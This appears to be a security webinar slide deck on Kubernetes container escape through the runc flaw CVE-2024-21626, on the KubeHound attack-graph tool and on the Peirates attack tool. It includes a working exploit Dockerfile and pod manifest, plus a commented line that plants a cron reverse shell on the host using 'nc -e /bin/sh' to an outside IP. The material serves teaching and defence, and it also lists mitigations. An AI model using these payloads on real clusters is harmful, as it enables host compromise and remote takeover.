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# HOW TO USE "LEAKY VESSELS" FOR CONTAINER ESCAPE IN KUBERNETES AND MORE TOOLS!

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CEO, InGuardians (@inguardians)

AntiSyphon Anticasts!

February 21, 2024










Jay Beale is CTO and CEO for InGuardians. He works on Kubernetes, Linux and Cloud-Native security, both as a professional threat actor and an Open Source maintainer and contributor. He's the architect of the open source Peirates attack tool for Kubernetes and Bustakube CTF Kubernetes cluster. Jay helps create and run DEF CON's Kubernetes CTF, and previously co-led the Kubernetes project's Security Audit Working Group. Since 2000, he has led training classes on Linux & Kubernetes security at public conferences and in private training. Jay can't seem to stop running and, unrelatedly, enjoys talking with people about ADHD and neurodiversity.

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






# Graphical Bio



ABUSING AND PROTECTING KUBERNETES, LINUX AND CONTAINERS

JAY BEALE, INGUARDIANS | AUGUST 6-9



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# Greetz

Rory McNamara, Snyk (@psychomario)

Mike Cyr, nDepth Security

Jeremy Fox, Datadog (@chefjeremyfox)

Julien Terriac, Datadog

Edouard Schweisguth, Datadog (@Edznux)

Christophe Tafani-Dereeper, Datadog (@christophetd)

Brian Aker (@brianaker)



# What Are We Going to See?

Exploiting Leaky Vessels


KubeHound  
Peirates

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# Refresher/Intro: Pods

**Pods are the smallest unit of compute in Kubernetes**



**All containers in a pod share an IP address and may share the volumes defined in that pod.**




# Refresher/Intro: Nodes

**Nodes run a Kubelet, Kube-Proxy, and a runtime.**

**These programs have some privilege on the cluster, to permit them to stage and support workloads.**

**The Kubelet needs access to its pods' secrets to provide to the container runtime, to construct containers and pods.**



# Exploiting Leaky Vessels

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# Leaky Vessels

- Rory McNamara, security researcher at Snyk, discovered four vulnerabilities in runc and Docker that allowed for container breakout.
- Rory and the Snyk team dubbed these vulnerabilities "Leaky Vessels."
- CVE-2024-21626, the runc breakout, is the most useful of these by far.
- runc is core to Docker, Kubernetes, and likely other container-based products.
- Rory's blog on CVE-2024-21626:  
<https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/>

## CVE-2024-21626's Cause

- In CVE-2024-21626, Rory found that runc leaked file descriptors when spawning a new process to create a container.
  - Until v1.12, runc didn't set O\_CLOEXEC (close on exec) on its file descriptors.
  - As a result, a containerized process could access the filesystem outside its own mount namespace (outside the container).
  - This required that the container is started with its working directory set to `/proc/self/fd/N` where N is the leaked file descriptor. In practice, N appears to be 8.
  - When this is done, the containerized process can reach the host's filesystem via a `../../../../` path.



# Exploitation

- Mike Cyr (h00die) developed a Metasploit module which escalates privilege on a vulnerable Linux system.
  - The module builds and runs a container with the working directory set appropriately.
  - <https://packetstormsecurity.com/files/176993/runc-1.1.11-File-Descriptor-Leak-Privilege-Escalation.html>
- We'll demonstrate exploitation via the command line for both cases:
  - Creating a hostile image.
  - Running an ordinary image with a working directory parameter provided.

# Demo

- Let's demonstrate exploitation of CVE-2024-21626 via a hostile container image.
- Imagine a service that allows users to provide a container image to run.



# Dockerfile for Exploit

```
FROM alpine:latest
WORKDIR /proc/self/fd/8
CMD sh -c "echo anything"
#
# Consider writing to the host filesystem:
#
# echo * * * * * root nc -e /bin/sh 1.1.1.1 8\" >>
# ../../../../../../etc/crontab
```

# Demo

- Next, let's demonstrate exploitation of CVE-2024-21626 using an ordinary image, but with a hostile configuration.
- We've automated this in Peirates, but the next slide gives you the pod manifest that Peirates creates.



# Pod Manifest for Exploiting Via Any Image

```
apiVersion: v1
kind: Pod
metadata:
  name: cve-2024-21626
spec:
  containers:
    - name: cve-2024-21626
      command:
        - /bin/sh
        - -c
        - echo "Any command you want"
      image: alpine:latest
      workingDir: /proc/self/fd/8
```

# How Would You Defend Against These Cases

- First, patch runc.
- Second, consider Kubernetes admission controllers to prevent both of these cases.

Let's move on to KubeHound now




# Introducing KubeHound

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# KubeHound Purpose

- Similar to its namesake, BloodHound, KubeHound ingests data from a Kubernetes cluster and uses graph queries to find multi-step attack paths.



credit: <https://kubehound.io/images/example-graph.png>

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# Understanding the Graph

- When using the KubeHound graph, you'll make ample use of the Attack Reference.
- Each graph edge is an attack and has a page on the reference named for it.

<https://kubehound.io/reference/attacks/>

The screenshot shows the KubeHound website interface. The browser address bar displays `kubehound.io/reference/attacks/POD_EXEC/`. The navigation bar includes links for KubeHound, User Guide, Reference, and Query Library. A sidebar on the left lists various attack categories under 'Attacks', with 'POD\_EXEC' highlighted in blue. The main content area is titled 'POD\_EXEC' and contains the following text: 'With the correct privileges an attacker can use the Kubernetes API to obtain a shell on a running pod.' Below this is a table with three columns: Source, Destination, and MITRE. The table contains one row: 'PermissionSet', 'Pod', and 'Lateral Movement, TA0008'. Further down, there are sections for 'Details', 'Prerequisites', 'Checks', and 'Exploitation'. The 'Checks' section shows a terminal command: `kubectl auth can-i create pod/exec`. The 'Exploitation' section shows a terminal command: `kubectl exec --stdin --tty <POD NAME> -- /bin/bash`.

Source	Destination	MITRE
PermissionSet	Pod	Lateral Movement, TA0008

# Queries

- KubeHound ingests information about the Kubernetes objects into the JanusGraph database, but also brings a substantial and useful domain specific language.

Domain Specific Language Docs

<https://kubehound.io/queries/dsl/>

Blog Post Introducing KubeHound:


<https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/>

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# Sample Queries

- There are quite a few sample queries, but practice on multiple scenarios to build comfort with the query language.
- <https://kubehound.io/queries/gremlin/>



The screenshot displays the 'Sample queries' page of the Kubehound application. The page has a dark header with the title 'Sample queries' and a search bar. Below the header, there's a navigation menu with links to 'KubeHound', 'User Guide', 'Reference', and 'Query Library'. The 'Query Library' section is active, showing a list of sample queries categorized by type: Containers, Credentials, and Endpoints. Each category has a title and a corresponding Gremlin query snippet. On the right side, there's a sidebar with a 'Table of contents' and a list of links: 'Basic queries', 'Basic attack paths', 'Attack paths from compromised assets', 'Containers', 'Credentials', 'Endpoints', 'Risk assessment', 'CVE impact assessment', 'Assessing the value of implementing new security controls', 'Threat modelling', and 'Tips for writing queries'.

Sample queries

KubeHound User Guide Reference Query Library

Query Library

KubeHound DSL

Metrics

Sample queries

Attack paths from compromised assets

Containers

Attack paths (up to 10 hops) from a known breached container to any critical asset

```
g.V().hasLabel("Container").has("name", "nsenter-pod").repeat(out().simplePath()).until(has("critical", true)).path()
```

Attack paths (up to 10 hops) from a known backdoored container image to any critical asset

```
g.V().hasLabel("Container").has("image", TextP.containing("malicious-image")).repeat(out().simplePath()).until(has("critical", true)).path()
```

Credentials

Attack paths (up to 10 hops) from a known breached identity to a critical asset

```
h().until(has("critical", true).or().loops().is(10)).has("critical", true).path()
```

Endpoints

Attack paths (up to 6 hops) from any endpoint to a critical asset:

```
g.V().hasLabel("Endpoint").repeat(out().simplePath()).until(has("critical", true)).path()
```

Attack paths (up to 10 hops) from a known risky endpoint (e.g JMX) to a critical asset

```
g.V().hasLabel("Endpoint").has("portName", "jmx").repeat(out().simplePath()).until(has("critical", true)).path()
```

Table of contents

Basic queries

Basic attack paths

Attack paths from compromised assets

Containers

Credentials

Endpoints

Risk assessment

CVE impact assessment

Assessing the value of implementing new security controls

Threat modelling

Tips for writing queries

# Demo

- Let's demonstrate how you could use KubeHound to find vulnerabilities.
- We'll use KubeHound's sample test cluster.
- To do this yourself, you'll want Docker Desktop and kind.



# Using Peirates in Pen Testing

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# Attacking Kubernetes with Peirates

Some of what we do when attacking a cluster can be aided or automated by a free, open source tool called Peirates.

You can find Peirates in Kali Linux, but the GitHub page will generally have a more recent version:

<https://github.com/inguardians/peirates>



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# Peirates Demo (time permitting)

- Let's look at Peirates more now.

# Thank You

Please follow me on Mastodon and Twitter:

@jaybeale@infosec.exchange (Mastodon)

@jaybeale @inguardians (Twitter)

@jaybeale (Blue Sky)

Find out more about Peirates or help in its development:

<https://github.com/inguardians/peirates>

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